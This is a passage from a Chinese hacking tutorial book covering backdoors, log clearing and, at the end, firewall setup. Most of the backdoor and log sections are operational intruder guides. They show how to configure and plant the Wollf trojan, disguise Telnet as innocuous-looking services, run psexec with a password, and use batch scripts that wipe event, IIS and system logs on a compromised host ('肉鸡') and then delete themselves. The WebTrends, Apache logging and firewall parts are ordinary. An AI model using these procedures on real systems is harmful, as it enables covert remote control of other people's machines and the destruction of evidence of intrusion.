-listen[port]：监听指定端口，等待远程连接，主要用于反向连接方式；

-setup：对wollf.exe进行设置，包括监听端口、访问口令或设置为反向连接方式，完成后将生成wollf_new.exe。

（2）运行示例

Wollf命令后面不带任何选项表示安装并启动服务，监听默认端口7614。

wollf-remove：停止并卸载服务；

wollf-update：用当前wollf升级旧版本；

wollf-debug：无法安装服务，加-debug参数运行，以便查看失败原因；

wollf-once：作为普通进程运行，重新启动后不自动加载，指定监听2000端口；

wollf-connect 192. 168.0.1 7614：连接到远程主机7614端口；

wollf-listen 2000：监听2000端口，等待远程机器主动连接；

wollf-setup：对wollf.exe进行配置，并生成wollf_new.exe。

注意事项：

1）默认监听端口为7614，通过Telnet连接后可输入"help"查看命令列表，输入“help[命令]”可查看单个命令的详细用法（如"help ftpd"）；可输入"help|more"分页显示帮助信息；可通过"exit"命令断开连接，"quit"命令关闭服务，"remove"命令关闭并卸载服务。

2）若将wollf服务设置为反向连接方式，需要事先向FTP或HTTP服务器上传一个包含控制者IP地址和监听端口的文本文件，格式为"[IP]:[port]"，如“192.168.1.1:2000”，然后运行"wollf-listen 2000"等待连接。

3）若需要直接传输文件，必须通过"wollf-connect"或"wollf-listen"建立连接，否则不可使用任何telnet客户端工具，建议使用NetCat。

4）所有命令参数采用统一格式，各参数间以空格分隔，单个参数中不同内容以“:”或“;”分隔。参数中“＜＞”内为必选参数，“[]”内为可选参数。

在运用默认方式安装Wollf后门时，安装过程很简单，但Wollf的连接口令为空，监听端口为默认的7614。因而在实际中，入侵者通常是不会使用这些默认参数的。

下面简单讲述一下如何按照自定义方式安装Wollf后门，具体的操作步骤如下。

步骤1：配置Wollf参数。在MS-DOS命令提示符窗口中运行"wollf.exe-setup"命令，即可进入Wollf参数设定模式，通过对如下10个选项设置Wollf的参数。

*1. Set listen port：改变监听的端口；

2.Set access password：连接时的密码，用它就能成功连接；

3.Set service name：服务名称；

4.Set service display name：显示服务名称；

5.Set EXE filename：进程名称；

*6. Set FTP path(if requires reverse connection by FTP server)：设置FTP服务；

*7. Set HTTP path(if requires reverse connectionby HTTP server)：设置HTTP服务；

8.View config information：显示配置信息；

9.Help：帮助；

0.Complete：退出；

Please choose an operation：请选择。

步骤2：在对前面的九个选项逐一进行设置之后，Wollf的配置过程就完成了。最后，键入“0”来结束配置。此时，将在与wollf.exe同一目录中生成一个名为wollf_new.exe的新程序，该程序就是自定义参数的Wollf木马了。

步骤3：在新木马生成之后，可以通过IPC$方式将wollf_new.exe程序上传到远程主机中，并将其改名为_tcp_2.exe。通过Telnet远程登录到远程主机上安装Wollf服务之后，入侵者就成功地在远程主机上安装了Wollf后门。

步骤4：此时，入侵者就可以在本地MS-DOS命令提示符窗口中用"wollf.exe-connect 192.168.0.6"命令，与远程主机建立Wollf连接。

步骤5：当连接成功之后，即可在得到Login窗口中输入自定义密码。在通过验证之后，将会得到一个Shell窗口，只要在这个端口中输入命令，就可以进而控制远程主机了。

此后，即使该主机修补了系统的所有漏洞，封杀了所有的弱口令账号，入侵者还是可以通过Wollf木马后门进入该主机的。

4.系统服务后门

由于在默认情况下，Telnet服务是禁用的，所以在成功入侵后，黑客会想尽办法把目标主机中的Telnet服务设置为自动运行，以便于下次登录。由于Telnet是Windows系统自带的服务，所以杀毒软件不会察觉。如果直接把Telnet服务设置为自动运行，这样很容易被网络管理员发现并引起警觉，所以使用隐藏Telnet服务是黑客普遍采用的方法。

（1）利用instsrv创建Telnet后门

instsrv. exe是一款用命令行就可以安装、卸载服务的程序，可自由指定服务名称和服务所执行的程序。instsrv工具常用命令如图10-18所示。如使用"instsrv.exe Syshell C:\WINDOWS\system32\tlntsvr.exe"命令，即可创建一个Syshell服务，如图10-19所示。

图　10-18　instsrv常用的命令

图　10-19　使用命令创建Syshell服务

在安装更为隐藏的Telnet服务前，需要查看Telnet服务指向的文件。具体操作步骤如下。

步骤1：在【运行】窗口中输入"services.msc"命令，单击【确定】按钮，即可打开【服务】窗口，如图10-20所示。右击Telnet服务，在弹出快捷菜单中选择“属性”选项，即可打开【Telnet属性（本地计算机）】对话框，如图10-21所示。

图　10-20　【服务】窗口

图　10-21　【Telnet的属性】对话框

步骤2：在“可执行文件的路径”文本框中可看到Telnet服务默认路径是"C:\WINDOWS\system32\tlntsvr.exe"。因此，文件tlntsvr.exe是Windows系统中专门提供Telnet服务的。

如果把某服务指向该程序，该服务就会提供Telnet服务。黑客可自己定义一个新服务并将其指向tlntsvr.exe，通过该服务提供的Telnet服务来登录。以在远程主机上Telnet服务被禁用的情况下，实现自定义服务登录到该远程计算机上，这就是Telnet后门的原理。

下面介绍构建Telnet后门的具体操作步骤如下。

步骤1：把tlntsvr.exe文件复制到远程计算机的C:\WINDOWS\system32目录下，在【命令提示符】窗口中输入"psexec\\192.168.0.10-u administrator-p"037971"C:\Windows\system 32\cmd.exe"命令，来获得远程计算机的命令行。

步骤2：在【命令提示符】窗口中运行"instsrv.exe shell C:\WINDOWS\system32\tlntsvr.exe"命令来建立一个名为shell的服务，并把该服务指向专门提供Telnet服务程序"C:\WINDOWS\system32\tlntsvr.exe"。

步骤3：在远程主机【服务】窗口的“服务”列表中可看到该服务。尽管该服务表面与远程连接没有直接关系，事实上该服务就是黑客留下的Telnet服务后门。入侵者一般会把这个服务的启动类型设置成“自动”选项，而此时Telnet服务处于停止甚至禁用的状态。

即使在远程主机上的Telnet服务已经被停止并禁用，但黑客依然可通过Telnet来登录远程主机。如果使用Opentelnet工具把新创建的服务默认端口改为用户不熟悉的端口，则该后门就变得更加隐蔽，管理员是很难发现的。

（2）利用SRVINSTW创建系统服务后门

仅仅依靠系统本身工具还不能完全实现系统服务后门的制作，还需要借助于SRVINSTW软件的帮助，SRVINSTW软件是一款可以创建和添加系统服务的图形化工具。

通过SRVINSTW可以添加程序为Windows系统服务，从而实现系统服务后门的制作。

利用SRVINSTW创建系统服务后门的具体操作步骤如下。

步骤1：运行SRVINSTW.exe程序，即可打开【服务类型选择】对话框，在其中选择“安装服务”单选按钮，如图10-22所示。

图　10-22　【服务类型选择】对话框

步骤2：单击【下一步】按钮，即可打开【计算机类型选择】对话框，如图10-23所示。根据控制方式的不同而选择本地机器或远程机器，这里由于已经控制了用户的计算机，所以选择“本地机器”单选项。

图　10-23　【计算机类型选择】对话框

步骤3：单击【下一步】按钮，即可打开【输入服务名称】对话框，在“服务名称”文本框中输入要添加的服务的名称，如"logs"服务，如图10-24所示。

图　10-24　【输入服务名称】对话框

步骤4：单击【下一步】按钮，即可打开【输入程序路径】对话框，在“输入程序路径”文本框中输入程序路径（如Telnet服务对应的路径是C:\WINDOWS\system32\tlntsvr.exe），如图10-25所示。

图　10-25　【输入程序路径】对话框

步骤5：在【服务】窗口中右击服务名称，从快捷菜单中选择“属性”选项，即可打开【属性】对话框，在其中查看该服务调用的程序存放路径。

步骤6：在输入完毕之后，单击【下一步】按钮，即可打开【选择安装种类】对话框，在其中选择“软件服务”单选项，如图10-26所示。单击【下一步】按钮，即可打开【设置服务运行权限】对话框，在其中选择“系统项目”单选项，如图10-27所示。

图　10-26　【选择安装种类】对话框

图　10-27　【设置服务运行权限】对话框

步骤7：单击【下一步】按钮，即可打开【选择服务启动类型】对话框，在其中根据实际需要选择相应类型（这里选择“自动”单选项），如图10-28所示。

图　10-28　【选择服务启动类型】对话框

步骤8：单击【下一步】按钮，即可打开【准备好安装服务】对话框，如图10-29所示。单击【完成】按钮，即可看到【服务成功安装】提示框，如图10-30所示。单击【确定】按钮，即可彻底完成"logs"服务添加安装操作。

图　10-29　【准备好安装服务】对话框

图　10-30　【成功安装】提示框

步骤9：此时在【服务】窗口的“服务”列表中可找到刚创建的Logs服务，如图10-31所示。但此时logs服务仅具有logs名字，实际是一个Telnet服务。尽管此时"Telnet"服务的服务状态仍为“已停止”，启动类型仍为“已禁用”，但攻击者已将一个安全的服务logs替换成了Telnet服务，从而实现其远程控制该主机的功能，即所谓的完全后门。

图　10-31　新创建的logs服务

步骤10：由于添加的logs服务的“描述”一栏中是空内容。因此，如果想更加安全地实施后门技术，还需用SC.exe工具添加服务的描述内容，该工具通常被保存在C:\WINDOWS\system32目录下，如图10-32所示。

图　10-32　SC位置

步骤11：将SC.exe文件复制到C盘根目录下下，并在【命令提示符】窗口中运行“sc description logs系统日志”命令，即可为该服务添加描述内容，如图10-33所示。

图　10-33　修改服务器设置

提示　SC.exe是Windows XP系统自带的一个工具，SC.exe是一款远程服务管理工具，也属于命令行工具，可在本地计算机对远程目标主机上的服务进行查询、启动、停止和删除等操作。如果需在其他系统上使用，只用将其复制到相应系统。

步骤12：此时在【服务】窗口的“服务”列表中即可看到为"logs"服务添加的描述内容，如图10-34所示。

图　10-34　给服务添加的描述内容

黑客也可以使用SRVINSTW来删除远程主机上的系统服务，以达到破坏的目的。

删除服务的具体操作步骤如下。

步骤1：若黑客已通过图形界面控制对方计算机，在该计算机上运行SRVINSTW.exe程序，即可打开【选择操作类型】对话框，在其中选择“移除服务”单选项，如图10-35所示。

图　10-35　【选择操作类型】对话框

步骤2：单击【下一步】按钮，即可打开【计算机类型选择】对话框，在“请选择要执行的计算机类型”栏目中选择“本地机器”单选项，如图10-36所示。

图　10-36　【计算机类型选择】对话框

提示　如果没有控制目标计算机，但已和对方建立具有管理员权限的IPC$连接，则应在【计算机类型选择】对话框中选择“远程机器”单选项，在“计算机名”文本框中输入远程计算机的IP地址，单击【下一步】按钮，同样可将该远程主机中的"logs"服务删除。

步骤3：单击【下一步】按钮，即可打开【服务名选择】对话框，在“服务名”下拉列表中选择"logs"服务选项，如图10-37所示。

图　10-37　【服务名选择】对话框

步骤4：单击【下一步】按钮，即可打开【准备好移除服务】对话框，如图10-38所示。

图　10-38　【准备好移除服务】对话框

步骤5：如果确定要删除该服务，单击【完成】按钮，即可看到【服务成功移除】提示框，如图10-39所示。单击【确定】按钮，即可将远程主机中的"logs"服务删除。

图　10-39　【成功移除】提示框

第92招　日志分析器WebTrends

日志每天为用户忠实地记录了服务器的一举一动，作为一个合格的网络安全管理人员，每天都需要面对着大量的日志分析任务，为了减轻手工查找日志的工作量，用户不妨使用一款专用的日志分析软件来完成这项工作，这就是WebTrends软件。

1.创建日志站点

WebTrends是一款非常好的日志分析软件，它可以很方便地生成日报、周报和月报等，并有多种图表生成方式，如柱状图、曲线图、饼图等，可以查到浏览者的来访地、停留时间、浏览器类型，以及他们对网站的哪些内容最为感兴趣等。当远程用户访问用户的服务器时，WebTrends就可以对其进行访问监控并给以记录，管理员可以通过远程连接方式来访问日志。

在使用之前先安装WebTrends软件，具体的操作步骤如下。

步骤1：下载并双击"WebTrends"安装程序图标，即可打开【License Agreement（安装许可协议）】对话框，如图10-40所示。

图　10-40　【License Agreement（安装许可协议）】对话框

步骤2：在认真阅读安装许可协议后，单击【Accept】按钮，即可进入【Welcome!】对话框，如图10-41所示。在"Please select from the following options"单选项中勾选"Install a time limited trial"复选项，单击【Next】按钮，即可打开【Select Destination Directory】对话框，在其中选择目标程序安装位置，如图10-42所示。

图　10-41　【Welcome！（欢迎安装向导）】对话框

图　10-42　【Select Destination Directory】对话框

步骤3：单击【Next】按钮，即可打开【Ready to Install】对话框，在其中可看到安装复制的信息，如图10-43所示。单击【Next】按钮，即可打开【Installing】对话框，在其中看到安装的状态并显示安装进度条，如图10-44所示。

图　10-43　【Ready to Install（准备安装）】对话框

图　10-44　【Installing（正在安装）】对话框

步骤4：在安装完成后，即可打开【Install Completed!】对话框，单击其中的【Finish】按钮完成整个安装过程，如图10-45所示。

在WebTrends使用之前，用户必须先建立一个新的站点，具体的操作步骤如下。

步骤1：双击桌面上的"WebTrends"应用程序图标，即可打开"WebTrends Product Licensing"主窗口，在"SubScription"文本框中输入产品的注册码，如图10-46所示。

图　10-45　【Install Completed！（安装完成）】对话框

图　10-46　"WebTrends Product Licensing"主窗口

步骤2：当注册码输入正确无误后，单击【Submit】按钮，即可打开"Professor WebTrends"主界面，在其中根据需要进行相应选择，如图10-47所示。

图　10-47　"Professor WebTrends"主界面

步骤3：单击【Start Using the Product】按钮，即可进入"Registration"页面，在其中可以选择"Register Now"或"Register Later"等方式，如图10-48所示。

图　10-48　"Registration"页面

步骤4：单击【Register Later】按钮，即可打开"WebTrends Log Analyzer"主窗口，如图10-49所示。

图　10-49　"WebTrends Log Analyzer"主窗口

步骤5：在"WebTrends Log Analyzer"主窗口中单击按钮，即可打开【Add Web Traffic Profile—Title, URL】对话框，在其中将开始一个新的站点设置。在"Description"选项中输入准备做访问日志的服务器类型名称；在"Log File URL Path"选项中可看出Web Trends支持多种存放方式，包括本地硬盘、FTP服务器、网站服务器和ODBC数据库；在"Log File Format"选项中可看出WebTrends支持日志格式是呈多样化的，为了操作地灵活性，建议选择"Auto-detect log file type"选项，如图10-50所示。

图　10-50　【Add Web Traffic Profile—Title, URL】对话框

步骤6：单击【下一步】按钮，即可打开【Add Web Traffic Profile—DNS Lookup】对话框，在其中设置日志的附加选项，其中包括：设置站点的日志IP采用查询DNS的方式（只需选择默认方式），如图10-51所示。

图　10-51　【Add Web Traffic Profile—DNS Lookup】对话框

步骤7：单击【下一步】按钮，即可打开【Add Web Traffic Profile—Home Page】对话框，在其中设置站点的首页文件名称和站点的URL地址，如图10-52所示。

图　10-52　【Add Web Traffic Profile—Home Page】对话框

步骤8：单击【下一步】按钮，即可打开【Add Web Traffic Profile—Filters】对话框，在其中设置WebTrends对站点的什么类型的文件做日志，默认是所有文件类型，如图10-53所示。单击【下一步】按钮，即可打开【Add Web Traffic Profile—Database and Real-Time】对话框，在其中选择日志生成方式（如选择快速数据库日志生成的性质），如图10-54所示。

图　10-53　【Add Web Traffic Profile—Filters】对话框

图　10-54　【Database and Real-Time】对话框

步骤9：单击【下一步】按钮，即可打开【Add Web Traffic Profile—Advanced FastTrends】对话框，在其中设置FastTrends日志生成方式，如图10-55所示。单击【完成】按钮，即可站点日志访问管理，等待一定的访问量后对指定网站进行日志分析，如图10-56所示。

图　10-55　【Advanced FastTrends】对话框

图　10-56　查看新创建的日志站点

2.生成日志报表

在站点有了一定访问量后，单击主窗口工具栏上的按钮，即可打开【Create Report(Web)】对话框，在其中查看生成的报表，并从表中看到WebTrends提供了很多日志地产生时间点来供选择，在这里可以选择前两个星期的日志，如图10-57所示。

图　10-57　【Create Report（Web）】对话框

当然，也可以根据需要设置报表的风格、标题和名字以及对日志的哪个部分感兴趣（如访问者的IP、访问时间、访问内容、总共访问人数等）信息。在全部设置完毕后，单击【Start】按钮，即可对日志进行分析，如图10-58所示。待分析完毕之后，即可看到以HTML形式的报告，在其中可以看到该站点的各种日志信息，如图10-59所示。

图　10-58　对选择的日志站点进行分析

图　10-59　生成的报告

第93招　IIS日志清理工具

一般的Web服务器都配置有站点访问日志记录，且大多数在采用商业软件来分析日志文件数据，数据分析周期（每周或每天）进行，但很少有企业在真正基于分析工具得出的结论基础上进行站点改进。Web日志文件事实上是一些分离的“碎片”，日志分析软件的功能就是将这些碎片集合起来，从中剖析出有用信息，提高网站访问效率，进而为商务决策提供支撑服务。CleanIISLog是一款可以不留痕迹地清除具体IP连接记录的日志处理工具，CleanIISLog只能在本地运行，而且必须具有Administrators权限。

用法：cleaniislog[logfile][.][cleanIP].

logfile表示清除的日志文件；

[]中的“.”代表所有清除的日志中那个IP地址记录；

最后面的“.”代表所有IP记录。

使用clearlogs工具删除事件日志的具体操作步骤如下。

步骤1：在【命令提示符】窗口中输入"net use\\192.168.0.10\ipc$"037971"/Aministrator"命令与远程主机建立IPC$连接。

步骤2：在本地【命令提示符】窗口中输入"clearlogs\\192.168.0.10-app"命令，即可清除远程计算机的应用程序日志，如图10-60所示。在其中输入"clearlogs\\192.168.0.10-sec"命令，即可清除远程计算机的安全日志，如图10-61所示。

图　10-60　清除远程计算机的应用程序日志

图　10-61　清除远程计算机的应用程序日志

步骤3：如果想清除远程计算机的系统日志，则可在【命令提示符】窗口中输入"clearlogs\\192.168.0.10-sys"，如图10-62所示。

图　10-62　清除远程计算机的安全日志

步骤4：通过上述操作，黑客可成功地删除注定主机/服务器中的事件日志。为简化命令的输入过程，可以建立一个批处理文件clear.bat。

@echo off

clearlogs-app

clearlogs-sec

clearlogs-sys

del clearlogs.exe

del c.bat

exit

步骤5：将该bat文件保存为clear.bat，并与工具clearlogs.exe存放在同一个文件夹中。在【命令提示符】窗口中输入"clear.bat 192.168.0.10 administrator 037971"命令，即可将该远程主机上的事件日志全部清除，如图10-63所示。

图　10-63　删除远程主机的全部日志

步骤6：使用"net use\\192.168.0.10\ipc$/del"命令来断开IPC$连接。

经过上述操作之后，远程主机中的日志记录就可以被清除了。

第94招　Apache日志清理工具

若想知道某人在某时浏览过网站的哪些内容，可以通过查看Apache的访问日志来实现。访问日志是Apache的标准日志，本小节将为大家详细解释访问日志的内容以及Apache工具的使用技巧。

1.Apache简介

Apache提供了广泛记录运行时各方面信息的工具，比如有条件性的记录日志循环和确定IP地址等时普遍会遇到的问题；还讲解很多用于检测用户的Apache服务器状态以及分析其日志的捆绑的第三方模块和工具。

（1）默认的Apache日志文件

Apache提供很多检测和日志工具来追踪服务器的正确运行。默认的Apache配置提供两个日志文件，放置在安装目录下的日志目录里面。

Access_log文件（在Windows下对应Access.log文件）包含了服务器已处理过的请求信息，如请求的URL，客户端的IP地址，请求是否被成功完成等。Error_log文件（在Windows下对应Error.log文件）包含与错误情况相关的信息，以及服务器生命周期中不同的大事件。

（2）创建日志格式

LogFormat指令允许用户告诉Apache自己想要记录请求的方面，而用户仍需附加指令来告诉Apache在哪里记录信息等。

具体内容如下：

LogFormat"%h%l%u%t\"%r\"%＞s%b"common

LogFormat"%h%l%u%t\"%r\"%＞s%b"\"%{Referer}i\"\"%{User-agent}i\""combined

下面的例子显示了两种最受欢迎的格式配置，其分别为：普通日志格式和整合日志格式。当Apache收到一个请求，它将会用相应地请求属性来替代以“%”为前缀的每一个域。如果用户正在使用普通日志格式，则日志文件中每一项输入看起来都是这样的：

192.168.0.45-someuser[12/May/2009:08:33:34+0500]"GET/example.png HTTP/1.0"200 1234

如果用户正在使用整合日志格式，日志文件中每一项输入看起来则都是这样的：

192.168.0.45-someuser[12/May/2009:08:33:34+0500]"GET/example.png HTTP/1.0"200 1234

http://www.example.com/index.html"Mozilla/5.0

(Windows;U;Windows NT 5.1;en-US;rv:1.7.7)"

尽管有附件提供日志格式的详尽索引，但还不够，下面介绍一些最为重要的域：

#%h：客户端（例如，浏览器）向服务器发出连接请求时自己当时的IP地址或域名（需开启HostNameLookups）；

#%u：使用HTTP方式认证用户时，记录下用户的编号；

#%t：服务器接受到连接请求的时间；

#%r：客户端发出的原始连接请求中的文本信息，包含所使用的HTTP方法；

#%＞s：服务器应答浏览器后的返回状态代码，200表示请求成功；

#%b：服务器应答浏览器发出单个请求的回传对象内容大小（字节为单位），不统计数据包头部字节。

整合日志格式在普通日志格式的基础上扩展出了两个附加的域。定义为：

#%{Referer}i：连接请求数据包包头，包含指向当前页面的文档关联信息；

#%{User-agent}i：用户代理连接请求数据包包头，包含客户浏览器的信息。

（3）创建一个自定义日志文件

用户可能会想创建Apache自带以外的新的日志文件。这里运用CustomLog来创建一个新的日志文件，并保存为一个之前定义好的日志格式。用户还可以用格式本身的定义来替换昵称。一个附加的、更为简单的指令是Transferlog，它只接受最后一个LogFormat指令提供的定义即可。

其具体内容如下：

"CustomLog logs/access_log common

TransferLog logs/sample.log"。

（4）重导向日志到一个外部的程序

用户也可以用CustomLog或TransferLog将日志的输出重导向（输出）到一个外部的程序，而不是一个文件。要做到这一点，首先需要以输出字符“|”开头，接着是接收日志标准输入信息的程序的路径。

具体内容为："TransferLog"|bin/rotatelogs/var/logs/apachelog 86400""。

当有一个外部程序被使用，它将作为启动HTTP的用户被运行。如果服务器是被超级管理员所启动，它就会是超级管理员，完全确保这个程序是安全的。当进入一个非UNIX平台上的一个文件路径时，需要小心确保只有正斜杠被使用，即使这个平台可能是允许使用反斜杠的。总地来说，在整个配置文件中总是使用正斜杠，是个好主意。

（5）有条件的日志请求

用户可以根据可变的环境决定是否记录一个请求。这种可变可以根据许多参数，比如客户端的IP地址或请求中某个头部的存在，事先设置好。正如本段代码中所显示，CustomLog指令可以将可变的环境作为第三个参数来接受。如果存在可变的环境，它就将被记录，否则就不会。如果这个可变的环境被一个“！”开头否定，则不存在可变的环境将会被记录。本例将告诉用户如何避免在日志里以GIF和JPEG的格式记录图像，及如何从一个特定的IP地址记录请求到一个单独的日志文件。

具体的内容如下：

"SetEnvIf Request_URI"(\.gif|\.jpg)$"image

CustomLog logs/access_log common env=！image

SetEnvIf Remote_Addr 192\.168\.200\.5 specialmachine

CustomLog logs/special_access_log common env=specialmachine"。

2.ClearAPACHE工具

Apache长时间运行后，日志急剧增大，必须进行清理。否则一旦日志超过2G，下次重启Apache就会有问题。其使用Apache清理日志时，最应该关注的日志是Access_log、Error_log和Mod_jk.log三种。

#cat/dev/null＞access_log：用于清除包含了服务器已经处理过地请求的日志文件；

#cat/dev/null＞error_log：用于清除包含了与错误情况相关的日志文件；

#cat/dev/null＞mod_jk. log：用于清除包括了与配置文件相关的日志文件。

第95招　巧妙清除日志文件

日志文件记录了用户在系统中进行地所有操作，如系统中出现的错误、安全等问题，这样日积月累下来，逐渐加重了服务器的负荷。对于黑客而言，这个记录了入侵踪迹的文件更应该及时清除掉，以免被管理员抓住了“小尾巴”。此时，黑客就会借助一些工具来清除日志。常用的工具是：elsave和CleanIISLog。这样，就使清除日志工作变得更为简单和快捷。

1.利用elsave清除日志

elsave是一款由小榕制作的清除日志工具，使用工具不仅可以清除本地计算机的日志，还可以远程删除“事件查看器”中的相关的日志。

命令格式为elsave[-s\\server][-l log][-F file][-C][-q]，其中各个参数的含义如下：

-s\\server：指定远程计算机。

-l log：指定日志类型，其中"application"为应用程序日志；参数"system"为系统日志；参数"security"为安全日志。

-F file：指定保存日志文件的路径。

-C:清除日志操作，注意"-C"要大写。

-q：把错误信息写入日志。

使用elsave.exe删除远程主机中日志的具体操作步骤如下。

步骤1：在本地【命令提示符】窗口中输入"net use\\192.168.0.7\ipc$/user:administrator"命令会出现“输入密码”提示信息，如图10-64所示。在其中输入远程主机的密码后，即可与远程主机/服务器进行连接用IPC$连接。

图　10-64　与远程主机建立IPC$连接

步骤2：在本地【命令提示符】窗口中输入"elsave-s\\192.168.0.7-l application-C"命令，即可删除远程计算机中的应用程序日志，如图10-65所示。

图　10-65　删除远程主机中应用程序日志

步骤3：如果想删除该远程主机中的系统日志，则在【命令提示符】窗口中输入命令"elsave-s\\192.168.0.7-l system-C"，即可将其删除，如图10-66所示。

图　10-66　删除系统日志

步骤4：在【命令提示符】窗口中输入"elsave-s\\192.168.0.7-l security-C"命令，即可清除远程主机的安全日志，如图10-67所示。在输入命令时要注意命令的最后一个参数"C"，该参数一定要大写，否则命令在运行时就会出错。

图　10-67　删除安全日志

步骤5：在本地【命令提示符】窗口中键入"net use\\192.168.0.7\ipc$/del"命令，即可断开IPC$连接。这样，黑客便成功地删除了远程主机中的事件日志。

步骤6：另外，也可以编写一个批处理文件clear.bat，具体的内容如下：

net use\\%1\ipc$%3/user:%2

elsave-s\\%1-l"application"-C

elsave-s\\%1-l"system"-C

elsave-s\\%1-l"securtity"-C

net use\\%1\ipc$/del

步骤7：把该文件存储到和Elsave.exe文件相同的文件夹下，在【命令提示符】窗口中运行"Clear.bat 192.168.0.7 Adminstrator"037971""命令，即可清除远程计算机的日志记录。

2.清除服务器日志

日志是用来分析系统中出现的故障和安全等问题必备的工具，但是随着日志的增多，会让服务器的负荷变重。所以要及时删除服务器的日志，删除服务器日志常用方法有手工删除和通过批处理文件删除两种方式。

（1）手工删除服务器日志

在入侵过程中，远程主机的Windows系统会对入侵者的登录、注销、连接，甚至复制文件等操作都进行记录，并把这些记录保存到日志文件中。在这些日志文件中，记录着入侵者登录所用的账号以及入侵者的IP地址等信息。入侵者可以通过多种途径来擦除入侵留下的痕迹，其中手段之一就是对服务器日志进行手工清除。

这里以删除IIS日志介绍手工删除日志的方法，具体的操作步骤如下。

步骤1：由于IIS日志一般都保存在"C:\Windows\system32\LogFiles\W3SVC1"目录下。所以可以在该目录下可看到所有的IIS文件，如图10-68所示。

图　10-68　打开IIS日志所在的文件夹

步骤2：右击要删除的日志文件并按下del键，即可看到【删除文件或文件夹时出错】提示框，如图10-69所示。要删除IIS中的WWW和FTP日志必须先关闭相应的服务才可以进行。

图　10-69　【删除文件或文件夹时出错】对话框

步骤3：出现这种情况是因为相应的服务还在运行，此时在【Internet信息服务】窗口中可以看到网站正在运行，如图10-70所示。

图　10-70　【Internet信息服务】窗口

步骤4：右击“默认网站”图标，在弹出的快捷菜单中选择“停止”选项，即可将其停止，如图10-71所示。如果想彻底删除日志文件，则可在【服务】窗口的“服务”列表中右击"Event Log"服务，在快捷菜单中选择“属性”选项，即可打开【Event Log的属性（本地计算机）】对话框，如图10-72所示。

图　10-71　停止Internet信息服务

图　10-72　【Event Log的属性（本地计算机）】对话框

步骤5：在“启动类型”下拉列表中选择“已禁用”选项之后，单击【确定】按钮，重新启动计算机后即可禁用该服务，如图10-73所示。

图　10-73　禁用"Event Log"服务

（2）使用批处理清除远程主机日志

为减小入侵过程中被抓住地可能，入侵者在离开主机之前要删除这些日志文件。一般情况下，在Windows系统中日志文件的扩展名为"log"和"txt"，可以通过编写BAT批处理文件的方法来删除这些日志文件。

具体的操作步骤如下。

步骤1：在记事本中编写一个可以清除日志的批处理文件，其实现代码如下：

@del C:\Windows\system32\logfiles\*.*

@del C:\Windows\system32\config\*.evt

@del C:\Windows\system32\dtclog\*.*

@del C:\Windows\system32\*.log

@del C:\Windows\system32\*.txt

@del C:\Windows\*.txt

@del C:\Windows t\*.log

@del c:\del.bat

步骤2：把上述内容保存为del.bat备用；再新建一个批处理文件并将其保存为clear.bat文件，其实现代码如下：

@copy del.bat\\1\c$

@echo向肉鸡复制本机的del.bat……OK

@psexec\\1 c:\del.bat

@echo在肉鸡上运行del.bat,清除日志文件……OK

在上述代码中echo是DOS下的回显命令，在它的前面加上“@”前缀字符，表示执行时本行在命令行或DOS里面不显示，它是删除文件命令。

步骤3：假设已经与肉鸡进行了IPC$连接之后，在【命令提示符】窗口中输入"clear.bat 192.168.0.10"命令，即可清除该主机上的日志文件。

第11章
安全分析与入侵检测

重点提示

♂妙用天网防火墙

♂建立系统漏洞防御体系

♂单机版极品安全卫士CATHER

♂用WAS检测网站承受压力

♂专业入侵检测系统BlackICE

♂免费的专定防火墙Zone Alarm

♂萨客嘶入侵检测系统

♂用无处藏身检测恶意IP

本章精粹：

本章主要介绍了安全分析与入侵检测的实战方法。防火墙是经常使用的一种防护工具，配置好防火墙，就可以阻止大量的入侵；而入侵检测技术可以弥补防火墙的不足，为网络安全提供实时的入侵检测以及采取相应防护手段。

每个计算机用户都希望自己的计算机系统时刻保持在最佳状态安全运行，在实际工作和生活中，又总是避免不了出现许多问题，针对这些问题，最好地解决办法就是学会进行系统的安全分析与服务器的入侵检测技术。

第96招　妙用天网防火墙

天网防火墙提供了强大的访问控制、应用选通、信息过滤等功能，可有效地抵挡网络入侵和攻击，防止信息泄露，保障用户机器的网络安全。还把网络分为本地网和互联网，可针对来自不同网络的信息，设置不同的安全方案，适合于任何方式连接上网的个人用户。

1.天网安全设置

在进行天网安全设置之前，首先要安装天网防火墙，其具体的安装步骤如下。

步骤1：双击天网防火墙的安装文件，即可打开【安装向导】对话框，在其中勾选“我接受此协议”复选框，如图11-1所示。

图　11-1　【安装向导】对话框

步骤2：单击【下一步】按钮，即可打开【选择安装的目标文件夹】对话框，单击【浏览】按钮，在其中选择天网防火墙的安装文件路径，如图11-2所示。

图　11-2　【选择安装的目标文件夹】对话框

步骤3：单击【下一步】按钮，即可打开【选择程序管理器程序组】对话框，如图11-3所示。可在文本框中创建相应的文件夹，也可使用系统默认的文件夹名称，一般使用默认值。

图　11-3　【选择程序管理器程序组】对话框

步骤4：单击【下一步】按钮，即可打开【开始安装】对话框，为安装天网防火墙作好准备，如图11-4所示。在确定设置正确无误后，单击【下一步】按钮，即可打开【正在安装】对话框，开始复制安装文件，如图11-5所示。

图　11-4　【开始安装】对话框

图　11-5　【正在安装】对话框

步骤5：在安装文件复制完成之后，单击【下一步】按钮，即可打开【天网防火墙设置向导】对话框，如图11-6所示。单击【下一步】按钮，即可打开【安全级别设置】对话框，如图11-7所示。其中的安全级别默认为“中”，也可以根据需要进行相应设置。

图　11-6　【天网防火墙设置向导】对话框

图　11-7　【安全级别设置】对话框

步骤6：单击【下一步】按钮，即可打开【局域网信息设置】对话框，如图11-8所示。在其中对局域网信息进行设置，一般使用系统默认设置。

图　11-8　【局域网信息设置】对话框

步骤7：单击【下一步】按钮，即可打开【常用应用程序设置】对话框，如图11-9所示。在其中根据需要对常用的应用程序进行设置。当设置完成之后，单击【下一步】按钮，即可打开【向导设置完成】对话框，如图11-10所示。

图　11-9　【常用应用程序设置】对话框

图　11-10　【向导设置完成】对话框

步骤8：单击【结束】按钮，即可弹出【安装已完成】对话框，如图11-11所示。单击【完成】按钮，即可弹出“安装”提示框，系统将会提示用户需要重新启动系统，在系统重新启动之后，天网防火墙的安装就全部完成，如图11-12所示。

图　11-11　【安装已完成】对话框

图　11-12　“安装”提示框

在完成天网防火墙的安装之后，如果想完全发挥出天网防火墙的威力，其安全设置也是非常重要的，进行安全设置的具体操作步骤如下。

步骤1：在安装好天网防火墙之后，即可打开【天网防火墙个人版】窗口，如图11-13所示。单击天网防火墙主窗口上方的按钮，即可打开【应用程序规则（）】对话框，在其中设置允许、提示和禁止三种方式，判断是否允许程序访问网络资源，如图11-14所示。

图　11-13　天网个人防火墙

图　11-14　【应用程序规则】对话框

